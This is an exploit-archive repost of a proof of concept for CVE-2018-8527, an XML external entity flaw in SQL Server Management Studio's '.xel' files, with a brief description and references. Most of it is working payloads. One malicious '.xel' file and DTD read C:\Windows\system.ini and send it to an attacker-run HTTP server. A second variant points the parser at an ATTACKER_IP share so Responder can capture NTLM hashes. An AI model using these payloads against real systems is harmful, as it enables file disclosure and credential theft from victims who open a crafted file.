首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injecti
来源:hyp3rlinx.altervista.org 作者:hyp3rlinx 发布时间:2018-10-12  
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)
# CVE: CVE-2018-8527
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
 
# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability
# in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of XEL files. Due to the improper restriction
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser
# to access the URI and embed the contents back into the XML document for further processing. An attacker
# can leverage this vulnerability to disclose information in the context of the current process.
 
# [Exploit/POC]
 
python -m SimpleHTTPServer (listens Port 8000)
 
"evil.xel" (Extended Event Log File)
 
<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
 
"payload.dtd"
 
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;
 
# OR
# Steal NTLM hashes
# Kali linux
 
/usr/share/responder/tools
 
responder -I eth0 -rv
 
"evil.xel"
 
<?xml version="1.0"?>
<!DOCTYPE dirty0tis [
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
%dtd;]>
 
Result: Forced authentication and NTLM hash captured
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Microsoft SQL Server Managemen
·Microsoft SQL Server Managemen
·VLC Media Player 2.2.8 MKV Use
·DELL EMC OneFS Storage Adminis
·Delta Electronics Delta Indust
·MicroTik RouterOS < 6.43rc3 -
·FileZilla 3.33 - Buffer Overfl
·Microsoft Edge Chakra JIT - Ty
·Microsoft Edge Chakra JIT - 'B
·Free MP3 CD Ripper 2.8 - '.wma
·Delta Electronics Delta Indust
·ifwatchd Privilege Escalation
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved